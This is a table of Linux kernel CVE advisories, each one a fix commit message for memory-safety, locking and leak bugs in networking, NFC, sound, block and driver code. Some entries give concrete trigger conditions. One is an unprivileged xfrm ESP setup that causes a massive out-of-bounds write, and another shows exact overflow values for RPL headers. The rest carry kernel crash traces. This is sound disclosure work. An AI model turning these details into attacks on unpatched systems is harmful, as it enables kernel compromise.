| CVE-2026-63979 | In the Linux kernel, the following vulnerability has been resolved: net/handshake: hand off the pinned file reference to accept_doit handshake_req_next() removes the request from the per-net pending list and drops hn_lock before handshake_nl_accept_doit() reads req->hr_sk->sk_socket and dereferences sock->file (once in FD_PREPARE() and again in get_file()). In that window a consumer running tls_handshake_cancel() followed by sockfd_put() (svc_sock_free) or __fput_sync() (xs_reset_transport) releases sock->file. sock_release() then runs sock_orphan(), zeroing sk_socket, and frees the struct socket. The accept-side code either reads NULL through sk_socket or chases freed memory. The submit-side sock_hold() does not prevent this. sk_refcnt protects struct sock, but struct socket and sock->file are independently refcounted via the file descriptor the consumer owns. Pinning sk leaves sock and sock->file unprotected. Retarget the accept-side dereferences at req->hr_file, which was pinned at submit time, instead of req->hr_sk->sk_socket->file. Pinning on its own is not sufficient: a consumer that cancels between handshake_req_next() returning and accept_doit reaching FD_PREPARE() takes the !remove_pending() branch in handshake_req_cancel() and drops hr_file before the accept side takes its own reference. Hand off an additional file reference inside handshake_req_next(), under hn_lock, so the accept side operates on a reference that no concurrent handshake_req_cancel() can revoke. FD_PREPARE() consumes that handed-off reference, either by transferring it to the new fd in fd_publish() or by dropping it in the cleanup destructor on error; the explicit get_file() that previously balanced FD_PREPARE() is therefore redundant and goes away. Update handshake_req_cancel_test2 and _test3 to simulate the FD_PREPARE() consumption with an fput() so the kunit file-count assertions stay balanced. |
| CVE-2026-63980 | In the Linux kernel, the following vulnerability has been resolved: net/handshake: Use spin_lock_bh for hn_lock nvmet_tcp_state_change(), a socket callback that runs in BH context, can reach handshake_req_cancel() via nvmet_tcp_schedule_release_queue() and tls_handshake_cancel(). handshake_req_cancel() acquires hn->hn_lock with plain spin_lock(). If a process-context thread on the same CPU holds hn->hn_lock when a softirq invokes the cancel path, the lock attempt deadlocks. This is the only caller that invokes tls_handshake_cancel() from BH context; every other consumer calls it from process context. Deferring the cancel to process context in the NVMe target is not straightforward: nvmet_tcp_schedule_release_queue() must call tls_handshake_cancel() atomically with its state transition to DISCONNECTING. If the cancel were deferred, the handshake completion callback could fire in the window before the cancel runs, observe the unexpected state, and return without dropping its kref on the queue. Reworking that interlock is considerably more invasive than hardening the handshake lock. Convert all hn->hn_lock acquisitions from spin_lock/spin_unlock to spin_lock_bh/spin_unlock_bh so the lock is never taken with softirqs enabled. |
| CVE-2026-63983 | In the Linux kernel, the following vulnerability has been resolved: net/sched: fix packet loop on netem when duplicate is on When netem duplicates a packet it re-enqueues the copy at the root qdisc. If another netem sits in the tree the copy can be duplicated again, recursing until the stack or memory is exhausted. The original duplication guard temporarily zeroed q->duplicate around the re-enqueue, but that does not cover all cases because it is per-qdisc state shared across all concurrent enqueue paths and is not safe without additional locking. Use the skb tc_depth field introduced in an earlier patch: - increment it on the duplicate before re-enqueue - skip duplication for any skb whose tc_depth is already non-zero. This marks the packet itself rather than mutating qdisc state, therefore it is safe regardless of tree topology or concurrency. |
| CVE-2026-63984 | In the Linux kernel, the following vulnerability has been resolved: ipv6: rpl: fix hdrlen overflow in ipv6_rpl_srh_decompress() ipv6_rpl_srh_decompress() computes: outhdr->hdrlen = (((n + 1) * sizeof(struct in6_addr)) >> 3); hdrlen is __u8. For n >= 127 the result exceeds 255 and silently truncates. With n=127 (cmpri=15, cmpre=15, pad=0, hdrlen=16): (128 * 16) >> 3 = 256, truncated to 0 as __u8 The caller in ipv6_rpl_srh_rcv() then places the compressed header at buf + ((ohdr->hdrlen + 1) << 3). With hdrlen=0 this is buf + 8, but the decompressed region occupies buf[0..2055] (8-byte header plus 128 full addresses). The compressed header overlaps the decompressed data, and ipv6_rpl_srh_compress() writes into this overlap, corrupting the routing header of the forwarded packet. The existing guard at exthdrs.c:546 checks (n + 1) > 255, which prevents n+1 from overflowing unsigned char (the segments_left field), but does not prevent the computed hdrlen from overflowing __u8. n=127 passes because 128 <= 255, yet hdrlen=256 does not fit. Tighten the bound to (n + 1) > 127. This caps n at 126, giving hdrlen = (127 * 16) >> 3 = 254, which fits in __u8. The compressed header then lands at buf + ((254 + 1) << 3) = buf + 2040, exactly past the decompressed region (buf[0..2039]). No overlap. 127 segments is well beyond any realistic RPL deployment. |
| CVE-2026-63985 | In the Linux kernel, the following vulnerability has been resolved: ethtool: eeprom: add more safeties to EEPROM Netlink fallback The Netlink fallback path for reading module EEPROM (fallback_set_params()) validates that offset < eeprom_len, but does not check that offset + length stays within eeprom_len. The ioctl equivalent (ethtool_get_any_eeprom() in ioctl.c) has always enforced both bounds: if (eeprom.offset + eeprom.len > total_len) return -EINVAL; This could lead to surprises in both drivers and device FW. Add the missing offset + length validation to fallback_set_params(), mirroring the ioctl. Similarly - ethtool core in general, and ethtool_get_any_eeprom() in particular tries to zero-init all buffers passed to the drivers to avoid any extra work of zeroing things out. eeprom_fallback() uses a plain kmalloc(), change it to zalloc. |
| CVE-2026-63990 | In the Linux kernel, the following vulnerability has been resolved: bonding: refuse to enslave CAN devices syzbot reported a kernel paging request crash in can_rx_unregister() inside net/can/af_can.c. The crash occurs because a virtual CAN device (vxcan) is being enslaved to a bonding master. During the enslavement process, the bonding driver mutates and modifies the network device states to fit an Ethernet-like aggregation model. However, CAN devices operate on a completely different Layer 2 architecture, relying on the CAN mid-layer private data structure (can_ml_priv) instead of standard Ethernet structures. Since bonding does not initialize or maintain these CAN structures, subsequent operations on the half-enslaved interface (such as closing associated sockets via isotp_release) lead to a null-pointer dereference when accessing the CAN receiver lists. Bonding CAN interfaces is architecturally invalid as CAN lacks MAC addresses, ARP capabilities, and standard Ethernet link-layer mechanisms. While generic loopback devices are blocked globally in net/core/dev.c, virtual CAN devices bypass this check because they do not carry the IFF_LOOPBACK flag, despite acting as local software-loopbacks. Fix this by explicitly blocking network devices of type ARPHRD_CAN from being enslaved at the very beginning of bond_enslave(). This prevents illegal state mutations, eliminates the resulting KASAN crashes, and avoids potential memory leaks from incomplete socket cleanups. As the CAN support has been added a long time after bonding the Fixes-tag points to the introduction of ARPHRD_CAN that would have needed a specific handling in bonding_main.c. |
| CVE-2026-63991 | In the Linux kernel, the following vulnerability has been resolved: Bluetooth: 6lowpan: check skb_clone() return value in send_mcast_pkt() The skb_clone() function can return NULL if memory allocation fails. send_mcast_pkt() calls skb_clone() without checking the return value, which can lead to a NULL pointer dereference in send_pkt() when it dereferences skb->data. Add a NULL check after skb_clone() and skip the peer if the clone fails. |
| CVE-2026-63992 | In the Linux kernel, the following vulnerability has been resolved: tunnels: do not assume transport header in iptunnel_pmtud_check_icmp() In some cases, iptunnel_pmtud_check_icmp() can be called while skb transport header is not set. This triggers an out-of-bound access, because (typeof(skb->transport_header))~0U is 65535. Access the icmp header based on IPv4 network header, after making sure icmp->type is present in skb linear part. Note that iptunnel_pmtud_check_icmpv6()) is fine. |
| CVE-2026-63993 | In the Linux kernel, the following vulnerability has been resolved: vxlan: do not reuse cached ip_hdr() value after skb_tunnel_check_pmtu() skb_tunnel_check_pmtu() can change skb->head. Reusing old_iph afer skb_tunnel_check_pmtu() can cause an UAF. Use instead ip_hdr(skb) as done in drivers/net/bareudp.c and drivers/net/geneve.c. Found by Sashiko. |
| CVE-2026-63994 | In the Linux kernel, the following vulnerability has been resolved: tunnels: load network headers after skb_cow() in iptunnel_pmtud_build_icmp[v6]() Sashiko found that iptunnel_pmtud_build_icmp() and iptunnel_pmtud_build_icmpv6() were caching ip_hdr() and ipv6_hdr() before an skb_cow() call which can reallocate skb->head. Fix this possible UAF by initializing the local variables after the skb_cow() call. Remove skb_reset_network_header() calls which were not needed. |
| CVE-2026-63999 | In the Linux kernel, the following vulnerability has been resolved: ethtool: rss: fix indir_table and hkey leak on get_rxfh failure rss_prepare_get() allocates the indirection table and hash key buffer via rss_get_data_alloc(), then calls ops->get_rxfh() to populate them. If get_rxfh() fails, the function returns an error without freeing the allocation. |
| CVE-2026-64000 | In the Linux kernel, the following vulnerability has been resolved: net: hsr: fix potential OOB access in supervision frame handling Ensure the entire TLV header is linearized before access by adding sizeof(struct hsr_sup_tlv) to the pskb_may_pull() calls. Without this, a truncated frame could cause an out-of-bounds access. |
| CVE-2026-64001 | In the Linux kernel, the following vulnerability has been resolved: ALSA: pcm: oss: Fix setup list UAF on proc write error snd_pcm_oss_proc_write() links a newly allocated setup entry into the OSS setup list before duplicating the task name. If the task-name allocation fails, the error path frees the already linked entry and leaves setup_list pointing at freed memory. A later OSS device open can then walk the stale list entry in snd_pcm_oss_look_for_setup() and dereference freed memory. Allocate the task name and initialize the setup entry before publishing the entry on setup_list. Also fetch the initial proc read iterator only after taking setup_mutex, so all setup_list traversal follows the same list lifetime rules. |
| CVE-2026-64002 | In the Linux kernel, the following vulnerability has been resolved: ipv4: free net->ipv4.sysctl_local_reserved_ports after unregister_net_sysctl_table() ipv4_sysctl_exit_net() is currently freeing net->ipv4.sysctl_local_reserved_ports too soon. Only after unregister_net_sysctl_table() we can be sure no threads can possibly use the sysctls, including /proc/sys/net/ipv4/ip_local_reserved_ports. |
| CVE-2026-64003 | In the Linux kernel, the following vulnerability has been resolved: scsi: core: Run queues for all non-SDEV_DEL devices from scsi_run_host_queues While a SCSI host is in a recovery state, scsi_mq_requeue_cmd() will not set the requeue list for a requeued command to be kicked in the future. The expectation is a call to scsi_run_host_queues() will kick all SCSI devices once the recovery state is cleared. However, scsi_run_host_queues() uses shost_for_each_device() which uses scsi_device_get() and so will ignore devices in a partially removed state like SDEV_CANCEL. But these devices may also have requeued requests, leaving their requests stuck from not being kicked and causing the removal process of the device to hang. scsi_run_host_queues() needs to run against more devices than the macro shost_for_each_device() allows. Instead of using the too limiting scsi_device_get() state checks, only ignore devices in SDEV_DEL state or when unable to acquire a reference. Attempt to run the queues for all other devices when scsi_run_host_queues() is called. |
| CVE-2026-64004 | In the Linux kernel, the following vulnerability has been resolved: net/iucv: fix locking in .getsockopt Mirror iucv_sock_setsockopt() and wrap the whole switch in lock_sock()/release_sock(). The pre-existing SO_MSGLIMIT-only lock becomes redundant and is removed. Any AF_IUCV HIPER user can potentially crash the kernel by racing recvmsg() with getsockopt(SO_MSGSIZE): the SO_MSGSIZE arm dereferences iucv->hs_dev->mtu after iucv_sock_close() (called from the racing recvmsg()) has set hs_dev to NULL, producing a NULL pointer dereference oops. |
| CVE-2026-64005 | In the Linux kernel, the following vulnerability has been resolved: net/smc: Do not re-initialize smc hashtables INIT_HLIST_HEAD(&smc_v*_hashinfo.ht) are called after smc_nl_init(), proto_register() and sock_register(). This can lead to smc_v*_hashinfo.ht being reset even though hash entries already exist and are being used, possibly resulting in a corrupted list. Remove unnecessary and dangerous re-initialisation of smc_v*_hashinfo.ht in smc_init(); it is implicitly initialised to zero anyhow. Add HLIST_HEAD_INIT to the definitions for clarity. |
| CVE-2026-64006 | In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: fix dst corruption in same register operation For lshift and rshift, the shift operations are performed in a loop over 32-bit words. The loop calculates the shifted value and write it to dst, and then immediately reads from src to calculate the carry for the next iteration. Because src and dst could point to the same memory location, the carry is incorrectly calculated using the newly modified dst value instead of the original src value. Adding a temporary local variable to cache the original value before writing to dst and using it for the carry calculation solves the problem. In addition, partial overlap is rejected from control plane for all kind of operations including byteorder. This was tested with the following bytecode: table test_table ip flags 0 use 1 handle 1 ip test_table test_chain use 3 type filter hook input prio 0 policy accept packets 0 bytes 0 flags 1 ip test_table test_chain 2 [ immediate reg 1 0x44332211 0x88776655 ] [ bitwise reg 1 = ( reg 1 << 0x08000000 ) ] [ cmp eq reg 1 0x66443322 0x00887766 ] [ counter pkts 0 bytes 0 ] ip test_table test_chain 4 3 [ immediate reg 1 0x44332211 0x88776655 ] [ bitwise reg 1 = ( reg 1 << 0x08000000 ) ] [ cmp eq reg 1 0x55443322 0x00887766 ] [ counter pkts 21794 bytes 1917798 ] |
| CVE-2026-64007 | In the Linux kernel, the following vulnerability has been resolved: netfilter: synproxy: refresh tcphdr after skb_ensure_writable synproxy_tstamp_adjust() rewrites the TCP timestamp option in place and then patches the TCP checksum via inet_proto_csum_replace4() on the caller-supplied tcphdr pointer. Both ipv4_synproxy_hook() and ipv6_synproxy_hook() obtain that pointer with skb_header_pointer() before calling in, so it may either alias skb->head directly or point at the caller's on-stack _tcph buffer. Between obtaining the pointer and using it, the function calls skb_ensure_writable(skb, optend), which on a cloned or non-linear skb invokes pskb_expand_head() and frees the old skb->head. After that point the cached th is stale: caller (ipv[46]_synproxy_hook) th = skb_header_pointer(skb, ..., &_tcph) synproxy_tstamp_adjust(skb, protoff, th, ...) skb_ensure_writable(skb, optend) pskb_expand_head() /* kfree(old skb->head) */ ... inet_proto_csum_replace4(&th->check, ...) /* writes into freed head, or into the caller's stack copy leaving the on-wire checksum stale */ The option bytes are written through skb->data and are fine; only the checksum update goes through th and so lands in the wrong place. The result is either a write into freed slab memory or a packet leaving with a checksum that does not match its payload. Fix by re-deriving th from skb->data + protoff immediately after skb_ensure_writable() succeeds, so the subsequent checksum update targets the linear, writable header. |
| CVE-2026-64009 | In the Linux kernel, the following vulnerability has been resolved: xfrm: Check for underflow in xfrm_state_mtu Leo Lin reported OOB write issue in esp component: xfrm_state_mtu() returns u32 but performs its arithmetic in unsigned modulo-2^32 space using an attacker-influenced "header_len + authsize + net_adj" subtracted from a small "mtu" argument. A nobody user can install an IPv4 ESP tunnel SA with a large authentication key (XFRMA_ALG_AUTH_TRUNC, e.g. hmac(sha512), 64-byte key, 64-byte trunc), configure a small interface MTU (68 bytes), and set XFRMA_TFCPAD to a large value. When a single UDP datagram is then sent through the tunnel, xfrm_state_mtu() underflows to a near-2^32 value, and esp_output() consumes it as a signed int via: padto = min(x->tfcpad, xfrm_state_mtu(x, mtu_cached)) esp.tfclen = padto - skb->len (assigned to int) esp.tfclen ends up negative (e.g. -207). It is sign-extended to size_t when passed to memset() inside esp_output_fill_trailer(), producing a ~16 EB write of zeroes at skb_tail_pointer(skb). KASAN logs it as "Write of size 18446744073709551537 at addr ffff888...". Check for underflow and return 1. This causes the sendmsg attempt to fail with ENETUNREACH. |
| CVE-2026-64010 | In the Linux kernel, the following vulnerability has been resolved: nfc: llcp: Fix use-after-free race in nfc_llcp_recv_cc() A race condition exists in the NFC LLCP connection state machine where the connection acceptance packet (CC) can be processed concurrently with socket release. This can lead to a use-after-free of the socket object. When nfc_llcp_recv_cc() moves the socket from the connecting_sockets list to the sockets list, it does so without holding the socket lock. If llcp_sock_release() is executing concurrently, it might have already unlinked the socket and dropped its references, which can result in nfc_llcp_recv_cc() linking a freed socket into the live list. Fix this by holding lock_sock() during the state transition and list movement in nfc_llcp_recv_cc(). After acquiring the lock, check if the socket is still hashed to ensure it hasn't already been unlinked and marked for destruction by the release path. This aligns the locking pattern with recv_hdlc() and recv_disc(). |
| CVE-2026-64011 | In the Linux kernel, the following vulnerability has been resolved: nfc: llcp: Fix use-after-free in llcp_sock_release() llcp_sock_release() unconditionally unlinks the socket from the local sockets list. However, if the socket is still in connecting state, it is on the connecting list. Fix this by checking the socket state and unlinking from the correct list. |
| CVE-2026-64012 | In the Linux kernel, the following vulnerability has been resolved: net/sched: sch_sfb: Replace direct dequeue call with peek and qdisc_dequeue_peeked When sfb has children (eg qfq qdisc) whose peek() callback is qdisc_peek_dequeued(), we could get a kernel panic. When the parent of such qdiscs (eg illustrated in patch #3 as tbf) wants to retrieve an skb from its child (sfb in this case), it will do the following: 1a. do a peek() - and when sensing there's an skb the child can offer, then - the child in this case(sfb) calls its child's (qfq) peek. qfq does the right thing and will return the gso_skb queue packet. Note: if there wasnt a gso_skb entry then qfq will store it there. 1b. invoke a dequeue() on the child (sfb). And herein lies the problem. - sfb will call the child's dequeue() which will essentially just try to grab something of qfq's queue. [ 127.594489][ T453] KASAN: null-ptr-deref in range [0x0000000000000048-0x000000000000004f] [ 127.594741][ T453] CPU: 2 UID: 0 PID: 453 Comm: ping Not tainted 7.1.0-rc1-00035-gac961974495b-dirty #793 PREEMPT(full) [ 127.595059][ T453] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 [ 127.595254][ T453] RIP: 0010:qfq_dequeue+0x35c/0x1650 [sch_qfq] [ 127.595461][ T453] Code: 00 fc ff df 80 3c 02 00 0f 85 17 0e 00 00 4c 8d 73 48 48 89 9d b8 02 00 00 48 b8 00 00 00 00 00 fc ff df 4c 89 f2 48 c1 ea 03 <80> 3c 02 00 0f 85 76 0c 00 00 48 b8 00 00 00 00 00 fc ff df 4c 8b [ 127.596081][ T453] RSP: 0018:ffff88810e5af440 EFLAGS: 00010216 [ 127.596337][ T453] RAX: dffffc0000000000 RBX: 0000000000000000 RCX: dffffc0000000000 [ 127.596623][ T453] RDX: 0000000000000009 RSI: 0000001880000000 RDI: ffff888104fd82b0 [ 127.596917][ T453] RBP: ffff888104fd8000 R08: ffff888104fd8280 R09: 1ffff110211893a3 [ 127.597165][ T453] R10: 1ffff110211893a6 R11: 1ffff110211893a7 R12: 0000001880000000 [ 127.597404][ T453] R13: ffff888104fd82b8 R14: 0000000000000048 R15: 0000000040000000 [ 127.597644][ T453] FS: 00007fc380cbfc40(0000) GS:ffff88816f2a8000(0000) knlGS:0000000000000000 [ 127.597956][ T453] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 127.598160][ T453] CR2: 00005610aa9890a8 CR3: 000000010369e000 CR4: 0000000000750ef0 [ 127.598390][ T453] PKRU: 55555554 [ 127.598509][ T453] Call Trace: [ 127.598629][ T453] <TASK> [ 127.598718][ T453] ? mark_held_locks+0x40/0x70 [ 127.598890][ T453] ? srso_alias_return_thunk+0x5/0xfbef5 [ 127.599053][ T453] sfb_dequeue+0x88/0x4d0 [ 127.599174][ T453] ? ktime_get+0x137/0x230 [ 127.599328][ T453] ? srso_alias_return_thunk+0x5/0xfbef5 [ 127.599480][ T453] ? qdisc_peek_dequeued+0x7b/0x350 [sch_qfq] [ 127.599670][ T453] ? srso_alias_return_thunk+0x5/0xfbef5 [ 127.599831][ T453] tbf_dequeue+0x6b1/0x1098 [sch_tbf] [ 127.599988][ T453] __qdisc_run+0x169/0x1900 The right thing to do in #1b is to grab the skb off gso_skb queue. This patchset fixes that issue by changing #1b to use qdisc_dequeue_peeked() method instead. |
| CVE-2026-64014 | In the Linux kernel, the following vulnerability has been resolved: Input: usbtouchscreen - clamp NEXIO data_len/x_len to URB buffer size nexio_read_data() pulls data_len and x_len from a packed __be16 header in the device's interrupt packet and then walks packet->data[0..x_len) and packet->data[x_len..data_len) comparing each byte against a threshold. Both fields are 16-bit on the wire (max 65535). The existing adjustments shave at most 0x100 / 0x80 off, so the loop bound can still reach roughly 0xfeff. The URB transfer buffer for NEXIO is rept_size (1024) bytes from usb_alloc_coherent(), with the first 7 occupied by the packed header — so packet->data[] has 1017 valid bytes. read_data() callbacks are not given urb->actual_length, and nothing else bounds the walk. A device that lies about its length can get a ~64 KiB out-of-bounds read past the coherent DMA allocation. The first index whose byte exceeds NEXIO_THRESHOLD lands in begin_x / begin_y and from there into the reported touch coordinates, so adjacent kernel memory contents leak to userspace as ABS_X / ABS_Y events. Far enough out, the read can also hit an unmapped page and fault. Fix this all by clamping data_len to the buffer's data[] capacity and x_len to data_len. |
| CVE-2026-64017 | In the Linux kernel, the following vulnerability has been resolved: blk-mq: pop cached request if it is usable When submitting a bio to blk-mq, if the task should sleep after peeking a cached request, but before it pops it, the plug flushes and calls blk_mq_free_plug_rqs, freeing the cached_rqs. This creates a use-after-free bug. Fix this by popping the cached request before any possible blocking calls if it is suitable for use. Popping this request first holds a queue reference, so avoid any serialization races with queue freezes and can safely proceed with dispatching that request to the driver. This potentially increases a timing window from when a driver wants to freeze its queue to when requests stop being dispatched. That scenario is off the fast path though, and drivers need to appropriately handle requests during a freeze request anyway. The downside is the popped element needs to be individually freed when we performed a bio plug merge. The cached request would have had to be freed later anyway, but this patch does it inline with building the plug list instead of after flushing it. |
| CVE-2026-64022 | In the Linux kernel, the following vulnerability has been resolved: gpio: aggregator: remove the software node when deactivating the aggregator The dynamic software node we create for the aggregator platform device when using configfs is leaked when the device is deactivated. Destroy it as the last step in the tear-down path. |
| CVE-2026-64023 | In the Linux kernel, the following vulnerability has been resolved: gpio: aggregator: fix a potential use-after-free On error we free aggr->lookups->dev_id before removing the entry from the lookup table. If a concurrent thread calls gpiod_find() before we remove the entry, it could iterate over the list and call gpiod_match_lookup_table() which unconditionally dereferences dev_id when calling strcmp(). Reverse the order of cleanup. |
| CVE-2026-64026 | In the Linux kernel, the following vulnerability has been resolved: rxrpc: Fix DATA decrypt vs splice() by copying data to buffer in recvmsg This improves the fix for CVE-2026-43500. Fix the pagecache corruption from in-place decryption of a DATA packet transmitted locally by splice() by getting rid of the packet sharing in the I/O thread and unconditionally extracting the packet content into a bounce buffer in which the buffer is decrypted. recvmsg() (or the kernel equivalent) then copies the data from the bounce buffer to the destination buffer. The sk_buff then remains unmodified. This has an additional advantage in that the packet is then arranged in the buffer with the correct alignment required for the crypto algorithms to process directly. The performance of the crypto does seem to be a little faster and, surprisingly, the unencrypted performance doesn't seem to change much - possibly due to removing complexity from the I/O thread. Yet another advantage is that the I/O thread doesn't have to copy packets which would slow down packet distribution, ACK generation, etc.. The buffer belongs to the call and is allocated initially at 2K, sufficiently large to hold a whole jumbo subpacket, but the buffer will be increased in size if needed. However, to take this work, MSG_PEEK may cause a later packet to be decrypted into the buffer, in which case the earlier one will need re-decrypting for a subsequent recvmsg(). Note that rx_pkt_offset may legitimately see 0 as a valid offset now, so switch to using USHRT_MAX to indicate an invalid offset. Note also that I would generally prefer to replace the buffers of the current sk_buff with a new kmalloc'd buffer of the right size, ditching the old data and frags as this makes the handling of MSG_PEEK easier and removes the re-decryption issue, but this looks like quite a complicated thing to achieve. skb_morph() looks half way to what I want, but I don't want to have to allocate a new sk_buff. |
| CVE-2026-64036 | In the Linux kernel, the following vulnerability has been resolved: cgroup/rstat: validate cpu before css_rstat_cpu() access css_rstat_updated() is exposed as a BPF kfunc and accepts a caller-provided cpu argument. The function uses cpu for per-cpu rstat lookups without checking whether it refers to a valid possible CPU. A BPF iter/cgroup program with CAP_BPF and CAP_PERFMON can pass an invalid cpu value. On an unfixed UBSCAN_BOUNDS test kernel, cpu == 0x7fffffff triggers: UBSAN: array-index-out-of-bounds in kernel/cgroup/rstat.c:31:9 index 2147483647 is out of range for type 'long unsigned int [64]' Call Trace: css_rstat_updated bpf_iter_run_prog cgroup_iter_seq_show bpf_seq_read Add cpu validation to the BPF-facing css_rstat_updated() kfunc and move the common implementation to __css_rstat_updated() for in-kernel callers. |
| CVE-2026-64038 | In the Linux kernel, the following vulnerability has been resolved: hwmon: (lm90) Stop work before releasing hwmon device Sashiko reports: In lm90_probe(), the devm action to cancel the alert_work and report_work (lm90_restore_conf) is registered in lm90_init_client() before devm_hwmon_device_register_with_info() is called. Because devm executes cleanup actions in reverse order during module unbind or probe failure, the hwmon device is unregistered and freed first. If lm90_alert_work() or lm90_report_alarms() runs in the window between the hwmon device being freed and the delayed works being cancelled, lm90_update_alarms() will dereference the freed data->hwmon_dev here. Fix the problem by canceling the workers separately after registering the hwmon device and before registering the interrupt handler. This ensures that the workers are canceled after interrupts are disabled and before the hwmon device is released. Add "shutdown" flag to indicate that device shutdown is in progress to prevent workers from being re-armed. |
| CVE-2026-64052 | In the Linux kernel, the following vulnerability has been resolved: block: bio-integrity: Fix null-ptr-deref in bio_integrity_map_user() pin_user_pages_fast() can partially succeed and return the number of pages that were actually pinned. However, the bio_integrity_map_user() does not handle this partial pinning. This leads to a general protection fault since bvec_from_pages() dereferences an unpinned page address, which is 0. To fix this, add a check to verify that all requested memory is pinned. If partial pinning occurs, unpin the memory and return -EFAULT. Kernel Oops: Oops: general protection fault, probably for non-canonical address 0xdffffc0000000001: 0000 [#1] SMP KASAN NOPTI KASAN: null-ptr-deref in range [0x0000000000000008-0x000000000000000f] CPU: 0 UID: 0 PID: 1061 Comm: nvme-passthroug Not tainted 7.0.0-11783-g90957f9314e8-dirty #16 PREEMPT(lazy) Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org 04/01/2014 RIP: 0010:bio_integrity_map_user.cold+0x1b0/0x9d6 |
| CVE-2026-64060 | In the Linux kernel, the following vulnerability has been resolved: netfs: Fix leak of request in netfs_write_begin() error handling Fix netfs_write_begin() to not leak our ref on the request in the event that we get an error from netfs_wait_for_read(). |
| CVE-2026-64070 | In the Linux kernel, the following vulnerability has been resolved: powerpc/hv-gpci: fix preempt count leak in sysfs show paths Four sysfs show() callbacks in hv-gpci take get_cpu_var(hv_gpci_reqb) (which calls preempt_disable()) but only call the matching put_cpu_var() on the error path under the 'out:' label. Every successful read leaks one preempt_disable(): processor_bus_topology_show() processor_config_show() affinity_domain_via_virtual_processor_show() affinity_domain_via_domain_show() (affinity_domain_via_partition_show() was already correct.) On a CONFIG_PREEMPT=y kernel, repeated reads raise preempt_count and eventually return to userspace with preemption still disabled. The next user-mode page fault then hits faulthandler_disabled() == 1, gets forced to SIGSEGV, and the resulting coredump trips 'BUG: scheduling while atomic' in call_usermodehelper_exec -> wait_for_completion_state -> schedule: BUG: scheduling while atomic: <task>/<pid>/0x00000004 ... __schedule_bug+0x6c/0x90 __schedule+0x58c/0x13a0 schedule+0x48/0x1a0 schedule_timeout+0x104/0x170 wait_for_completion_state+0x16c/0x330 call_usermodehelper_exec+0x254/0x2d0 vfs_coredump+0x1050/0x2590 get_signal+0xb9c/0xc80 do_notify_resume+0xf8/0x470 Add an out_success label that calls put_cpu_var() before returning the byte count, mirroring affinity_domain_via_partition_show(). |
| CVE-2026-64076 | In the Linux kernel, the following vulnerability has been resolved: netfilter: bridge: eb_tables: close module init race sashiko reports for unrelated patch: Does the core ebtables initialization in ebtables.c suffer from a similar race? Once nf_register_sockopt() completes, the sockopts are exposed globally. sockopt has to be registered last, just like in ip/ip6/arptables. |
| CVE-2026-64077 | In the Linux kernel, the following vulnerability has been resolved: netfilter: ebtables: move to two-stage removal scheme Like previous patches for x_tables, follow same pattern in ebtables. We can't reuse xt helpers: ebt_table struct layout is incompatible. table->ops assignment is now done while still holding the ebt mutex to make sure we never expose partially-filled table struct. |
| CVE-2026-64078 | In the Linux kernel, the following vulnerability has been resolved: netfilter: x_tables: add and use xtables_unregister_table_exit Previous change added xtables_unregister_table_pre_exit to detach the table from the packetpath and to unlink it from the active table list. In case of rmmod, userspace that is doing set/getsockopt for this table will not be able to re-instantiate the table: 1. The larval table has been removed already 2. existing instantiated table is no longer on the xt pernet table list. This adds the second stage helper: unlink the table from the dying list, free the hook ops (if any) and do the audit notification. It replaces xt_unregister_table(). |
| CVE-2026-64079 | In the Linux kernel, the following vulnerability has been resolved: netfilter: x_tables: allocate hook ops while under mutex arp/ip(6)t_register_table() add the table to the per-netns list via xt_register_table() before allocating the per-netns hook ops copy via kmemdup_array(). This leaves a window where the table is visible in the list with ops=NULL. If the pernet exit happens runs concurrently the pre_exit callback finds the table via xt_find_table() and passes the NULL ops pointer to nf_unregister_net_hooks(), causing a NULL dereference: general protection fault in nf_unregister_net_hooks+0xbc/0x150 RIP: nf_unregister_net_hooks (net/netfilter/core.c:613) Call Trace: ipt_unregister_table_pre_exit iptable_mangle_net_pre_exit ops_pre_exit_list cleanup_net Fix by moving the ops allocation into the xtables core so the table is never in the list without valid ops. Also ensure the table is no longer processing packets before its torn down on error unwind. nf_register_net_hooks might have published at least one hook; call synchronize_rcu() if there was an error. audit log register message gets deferred until all operations have passed, this avoids need to emit another ureg message in case of error unwinding. Based on earlier patch by Tristan Madani. |
| CVE-2026-64082 | In the Linux kernel, the following vulnerability has been resolved: riscv: Fix register corruption from uninitialized cregs on error compat_riscv_gpr_set() calls cregs_to_regs() unconditionally, even when user_regset_copyin() fails. Since cregs is an uninitialized stack variable, a copyin failure causes uninitialized stack data to be written into the target task's pt_regs, corrupting its register state and potentially leaking kernel stack contents. compat_restore_sigcontext() has the same issue: it calls cregs_to_regs() even when __copy_from_user() fails, leading to the same corruption of the signal-returning task's register state on error. Only call cregs_to_regs() when the user copy succeeds. |
| CVE-2026-64090 | In the Linux kernel, the following vulnerability has been resolved: batman-adv: tt: avoid empty VLAN responses The commit 16116dac2339 ("batman-adv: prevent TT request storms by not sending inconsistent TT TLVLs") added checks to the local (direct) TT response code. But the response can also be done indirectly by another node using the global TT state. To avoid such inconsistency states reported in the original fix, also avoid sending empty VLANs for replies from the global TT state. |
| CVE-2026-64091 | In the Linux kernel, the following vulnerability has been resolved: batman-adv: tt: fix TOCTOU race for reported vlans The local TT based TVLV is generated by first checking the number of VLANs which have at least one TT entry. A new buffer with the correct size for the VLANs is then allocated. Only then, the list of VLANs s used to fill the VLAN entries in the buffer. During this time, the meshif_vlan_list_lock is held. But the actual number of TT entries of each VLAN can still increase during this time - just not the number of VLANs in the list. But the prefilter used in the buffer size calculation might still cause an increase of the number of VLANs which need to be stored. Simply because a VLAN might now suddenly have at least one entry when it had none in the pre-alloc check - and then needs to occupy space which was not allocated. It is better to overestimate the buffer size at the beginning and then fill the buffer only with the VLANs which are not empty. |
